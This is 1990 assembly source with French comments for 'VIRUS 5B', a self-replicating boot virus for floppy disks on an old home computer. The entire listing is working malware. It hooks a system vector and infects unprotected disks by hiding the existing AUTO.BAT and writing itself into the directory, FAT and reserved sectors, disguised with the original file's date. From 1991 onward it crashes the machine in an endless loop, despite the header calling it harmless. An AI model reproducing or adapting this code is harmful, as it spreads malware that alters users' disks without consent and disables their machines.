1 | ************ par Michel SAINT-BRIANT
|
---|
2 | * *
|
---|
3 | * VIRUS 5B * A.S.C.I. 1990 Copyright
|
---|
4 | * *
|
---|
5 | ************ (ce virus est inoffensif)
|
---|
6 |
|
---|
7 | LOCAL EQU $8880
|
---|
8 | DEP EQU $A000-LOCAL-2
|
---|
9 | TAMPON EQU $7065
|
---|
10 |
|
---|
11 | ORG $A100
|
---|
12 |
|
---|
13 | * On prépare la sortie
|
---|
14 |
|
---|
15 | PSHS U,X,Y,DP,A,B,CC
|
---|
16 |
|
---|
17 | * le virus doit se montrer à partir de
|
---|
18 | * 1991 (si la date a été entrée !)
|
---|
19 |
|
---|
20 | LDA $607E Registre-année
|
---|
21 | CMPA #91 si contenu < 91
|
---|
22 | BLO INSTAL VIRUS5B s'installe
|
---|
23 |
|
---|
24 | * en 1991 et années suivantes,le virus
|
---|
25 | * se manifeste par un affichage et un
|
---|
26 | * plantage irréversible
|
---|
27 |
|
---|
28 | MESSAG LDX #TEXTE affiche le
|
---|
29 | LDB #$C message après
|
---|
30 | PRINT JSR $E803 effacement
|
---|
31 | LDB ,X+
|
---|
32 | COMB
|
---|
33 | BNE PRINT
|
---|
34 | STX $60FE pour RESET à froid
|
---|
35 | PLANTE BRA PLANTE boucle sans fin
|
---|
36 |
|
---|
37 | * installer le virus pour contamination
|
---|
38 |
|
---|
39 | INSTAL LDU #$A001
|
---|
40 | LDX #LOCAL
|
---|
41 | LDA #$FF
|
---|
42 | STA ,X+
|
---|
43 | LDD #$470A
|
---|
44 | STD ,X++
|
---|
45 | COPIE LDA ,U+
|
---|
46 | STA ,X+
|
---|
47 | CMPX #$A3FF-DEP
|
---|
48 | BNE COPIE
|
---|
49 | LDX #CONTAG-DEP
|
---|
50 | LDA #$7E
|
---|
51 | STX $6806
|
---|
52 | STA $6805
|
---|
53 |
|
---|
54 | * on sort discrètement pour le vrai
|
---|
55 | * AUTO.BAT
|
---|
56 |
|
---|
57 | FIN PULS CC,A,B,DP,X,Y,U,PC
|
---|
58 |
|
---|
59 | * Partie 'CONTAGIEUSE'
|
---|
60 |
|
---|
61 | CONTAG PSHS U,X,Y,DP,B,A,CC
|
---|
62 |
|
---|
63 | CMPA #$80 en entrée A est le
|
---|
64 | BLO QUITTE 'DEVICE in use':si
|
---|
65 | CMPA #$84 ce n'est pas un
|
---|
66 | BHI QUITTE lecteur, on sort.
|
---|
67 |
|
---|
68 | LDX #LOCAL Vérification de l'
|
---|
69 | LEAY ,X intégrité de VIRUS
|
---|
70 | CHECKS LDB ,X+ 5B avant tentative
|
---|
71 | LEAY B,Y de contamination.
|
---|
72 | CMPX #$A3F4-DEP On procède par
|
---|
73 | BNE CHECKS un checksum sur 16
|
---|
74 | LDD ,X bits qui détecte
|
---|
75 | LEAX D,Y toute modification
|
---|
76 | BEQ SUITE (si modif. sortie)
|
---|
77 | LDA #$39 RTS mis en $6805
|
---|
78 | STA $6805 désactive VIRUS5B
|
---|
79 | BRA QUITTE
|
---|
80 |
|
---|
81 | SUITE LDU $61C7 U = pointeur BASIC
|
---|
82 | LDA ,U+ si nul
|
---|
83 | BEQ DEVICE ou > DEVICE
|
---|
84 | CMPA #$3A si ':'
|
---|
85 | BEQ DEVICE
|
---|
86 | CMPA #$22 si pas '"' alors
|
---|
87 | BNE QUITTE on sort
|
---|
88 | LDD ,U si '"' alors le
|
---|
89 | CMPB #$3A 3ème est-il ':'?
|
---|
90 | BNE DEVICE si pas ':'>DEVICE
|
---|
91 | CMPA #$30 si":"a-t-on'"0:'?
|
---|
92 | BEQ OK si oui c'est OK
|
---|
93 |
|
---|
94 | QUITTE PULS CC,A,B,DP,X,Y,U,PC
|
---|
95 |
|
---|
96 | DEVICE LDA $6768 le lecteur par dé-
|
---|
97 | CMPA #$80 faut est-il "0:" ?
|
---|
98 | BNE QUITTE si non on sort
|
---|
99 |
|
---|
100 | * OK c'est à dire qu'on a une fonction
|
---|
101 | * ayant accès au lecteur 0: (DIR,LOAD(m)
|
---|
102 | * SAVE(m),OPEN,MERGE,COPY...)
|
---|
103 | * Voyons maintenant si la disquette est
|
---|
104 | * protégée en écriture (oui = fichu !)
|
---|
105 |
|
---|
106 | OK JSR $E09D initialise DOS
|
---|
107 | CLR <$49 lecteur 0:
|
---|
108 | LDA #20 on se cale sur
|
---|
109 | STA <$4B la piste 20
|
---|
110 | JSR $E452 accès disquette
|
---|
111 | LDA $E7D1 on lit $E7D1
|
---|
112 | LDB #$40 et on éteint la
|
---|
113 | STB $E7D2 diode-disquette
|
---|
114 | ANDA #4 on teste le bit 2
|
---|
115 | BNE QUITTE si 1 protégée
|
---|
116 |
|
---|
117 | * la disquette n'est pas protégée.
|
---|
118 | * Examinons sa FAT
|
---|
119 |
|
---|
120 | LDA #2
|
---|
121 | STA <$48 lecture du
|
---|
122 | STA <$4C secteur 2
|
---|
123 | LDX #TAMPON dans la zone
|
---|
124 | STX <$4F $624F/$634E
|
---|
125 | JSR $E004 appel DOS
|
---|
126 |
|
---|
127 | * les secteurs 9 à 12 piste 20 sont-ils
|
---|
128 | * libres ? si c'est non, VIRUS 5B est
|
---|
129 | * déjà installé donc on sort ou la place
|
---|
130 | * est prise par autre chose et on sort.
|
---|
131 |
|
---|
132 | LDA TAMPON+42 teste bloc 41
|
---|
133 | CMPA #$FE est-il protégé ?
|
---|
134 | BNE QUITTE si non on quitte.
|
---|
135 |
|
---|
136 | * y a-t-il plus de 40 fichiers dans la
|
---|
137 | * FAT (chaque fin de fichier est codée
|
---|
138 | * par $C1 à $C8 donc on compte les $C.)
|
---|
139 |
|
---|
140 | LDX #TAMPON+1 début des blocs
|
---|
141 | CLRB compteur à 0
|
---|
142 | BLOC LDA ,X+
|
---|
143 | ANDA #$F0
|
---|
144 | CMPA #$C0
|
---|
145 | BNE SUIV
|
---|
146 | INCB
|
---|
147 | SUIV CMPX #TAMPON+161 fin 160 blocs
|
---|
148 | BNE BLOC
|
---|
149 | CMPB #40 40 --> 5 secteurs
|
---|
150 | BHI QUITTE donc 1 de sécurité
|
---|
151 |
|
---|
152 | * tout va bien,il ne reste plus qu'à
|
---|
153 | * chercher s'il existe un AUTO.BAT :
|
---|
154 | * si non on sort
|
---|
155 |
|
---|
156 | LDA #5 on analyse les
|
---|
157 | STA LOCAL-1 entrées dans le
|
---|
158 | SECTOR INC <$4C répertoire avec
|
---|
159 | JSR $E004 les secteurs 3/7
|
---|
160 | LDU <$4F
|
---|
161 | LDB #8 8 entrées par
|
---|
162 | ENTREE LDY #AB-DEP secteurs
|
---|
163 | TFR U,X
|
---|
164 | TESTAB LDA ,X+
|
---|
165 | CMPA ,Y+
|
---|
166 | BEQ TESTAB
|
---|
167 | CMPY #AB+12-DEP
|
---|
168 | BEQ AUTO
|
---|
169 | AUTRE LEAU 32,U
|
---|
170 | DECB
|
---|
171 | BNE ENTREE
|
---|
172 | DEC LOCAL-1
|
---|
173 | BNE SECTOR
|
---|
174 | PASBAS LBRA QUITTE
|
---|
175 |
|
---|
176 | * AUTO.BAT trouvé, est-ce bien du basic?
|
---|
177 |
|
---|
178 | AUTO TSTA
|
---|
179 | BNE PASBAS
|
---|
180 | LDA ,X
|
---|
181 | BNE PASBAS
|
---|
182 |
|
---|
183 | * on a un AUTO.BAT basic
|
---|
184 |
|
---|
185 | LDX #$1B58 on débaptise l'
|
---|
186 | STX ,U++ AUTO.BAT (masque)
|
---|
187 | LDD #$2009 on remplit les 9
|
---|
188 | SPACE STA ,U+ autres caractères
|
---|
189 | DECB d'espaces...
|
---|
190 | BNE SPACE
|
---|
191 | LDX #LOCAL-12
|
---|
192 | LEAU 5,U
|
---|
193 | TFR U,Y On sauve le com-
|
---|
194 | CODAT1 LDA ,Y+ mentaire et la
|
---|
195 | STA ,X+ date de l'ancien
|
---|
196 | CMPX #LOCAL-1 AUTO.BAT pour
|
---|
197 | BNE CODAT1 recopie après.
|
---|
198 | LDX #$0D1B
|
---|
199 | STX ,U++
|
---|
200 | LDX #$5F18 puis on modifie
|
---|
201 | STX ,U++ pour dissimuler.
|
---|
202 | LDX #$0808
|
---|
203 | STX ,U++
|
---|
204 | CLR ,U
|
---|
205 |
|
---|
206 | * existe-t-il une entrée libre dans le
|
---|
207 | * même secteur ?
|
---|
208 |
|
---|
209 | LDB #8
|
---|
210 | LDU <$4F
|
---|
211 | LIBR0 LDA ,U
|
---|
212 | BEQ INOCUL
|
---|
213 | CMPA #$FF
|
---|
214 | BEQ INOCUL
|
---|
215 | LEAU 32,U
|
---|
216 | DECB
|
---|
217 | BNE LIBR0
|
---|
218 |
|
---|
219 | * pas de place sur le même secteur alors
|
---|
220 | * on l'écrit ...
|
---|
221 |
|
---|
222 | LDA #8 écriture du
|
---|
223 | STA <$48 secteur
|
---|
224 | JSR $E004 modifié
|
---|
225 | LDA #2 lecture du suivant
|
---|
226 |
|
---|
227 | * cherchons place dans un autre secteur
|
---|
228 |
|
---|
229 | LDA #2 pour lecture
|
---|
230 | STA <$48
|
---|
231 | LDA <$4C on sauvegarde le
|
---|
232 | STA LOCAL-1 secteur initial
|
---|
233 | PLACE INC <$4C
|
---|
234 | LDA <$4C
|
---|
235 | CMPA LOCAL-1
|
---|
236 | LBEQ QUITTE si on fait le tour
|
---|
237 | CMPA #9 sans trouver > FIN
|
---|
238 | BNE CHERCH
|
---|
239 | LDA #2 si la recherche n'
|
---|
240 | STA <$4C a pas été bonne,on
|
---|
241 | BRA PLACE reprend au début.
|
---|
242 | CHERCH JSR $E004
|
---|
243 | LDB #8
|
---|
244 | LDU <$4F
|
---|
245 | LIBR1 LDA ,U
|
---|
246 | BEQ INOCUL
|
---|
247 | CMPA #$FF
|
---|
248 | BEQ INOCUL
|
---|
249 | LEAU 32,U
|
---|
250 | DECB
|
---|
251 | BNE LIBR1
|
---|
252 | BRA PLACE
|
---|
253 |
|
---|
254 | * maintenant on implante VIRUS 5B
|
---|
255 |
|
---|
256 | * 1/ sur le catalogue
|
---|
257 |
|
---|
258 | INOCUL LDX #AB-DEP
|
---|
259 | LDB #11
|
---|
260 | NOM LDA ,X+
|
---|
261 | STA ,U+
|
---|
262 | DECB
|
---|
263 | BNE NOM
|
---|
264 | CLR ,U+
|
---|
265 | CLR ,U+
|
---|
266 | LDD #$29FE
|
---|
267 | STA ,U+
|
---|
268 | CLR ,U+
|
---|
269 | STB ,U+
|
---|
270 | LDX #LOCAL-12 On recopie le
|
---|
271 | CODAT2 LDA ,X+ commentaire et la
|
---|
272 | STA ,U+ date de l'ancien
|
---|
273 | CMPX #LOCAL-1 AUTO.BAT pour
|
---|
274 | BNE CODAT2 faire plus vrai !
|
---|
275 | LDB #5 on complète
|
---|
276 | CLEAR CLR ,U+ avec des zéros
|
---|
277 | DECB
|
---|
278 | BNE CLEAR
|
---|
279 | LDA #8 pour écriture
|
---|
280 | STA <$48
|
---|
281 | JSR $E004
|
---|
282 |
|
---|
283 | * 2/ sur la FAT
|
---|
284 |
|
---|
285 | LDA #2
|
---|
286 | STA <$48
|
---|
287 | STA <$4C
|
---|
288 | JSR $E004
|
---|
289 | LDA #$C4
|
---|
290 | STA TAMPON+42
|
---|
291 | LDA #8
|
---|
292 | STA <$48
|
---|
293 | JSR $E004
|
---|
294 |
|
---|
295 | * 3/ sur les secteurs 9 à 12
|
---|
296 |
|
---|
297 | LDD #$0408 4 secteurs
|
---|
298 | STB <$4C depuis le 9
|
---|
299 | LDU #$8781
|
---|
300 | STU <$4F
|
---|
301 |
|
---|
302 | COPPRO INC <$4C
|
---|
303 | INC <$4F
|
---|
304 | DEC <$50
|
---|
305 | JSR $E004
|
---|
306 | DECA
|
---|
307 | BNE COPPRO
|
---|
308 |
|
---|
309 | * C'est fini et on sort
|
---|
310 |
|
---|
311 | PULS CC,B,A,DP,U,X,Y,PC
|
---|
312 |
|
---|
313 | * AUTO.BAT
|
---|
314 |
|
---|
315 | AB FCC "AUTO BAT"
|
---|
316 |
|
---|
317 | * MESSAGE
|
---|
318 |
|
---|
319 | TEXTE FCB 255
|
---|
320 |
|
---|
321 |
|
---|
322 | END
|
---|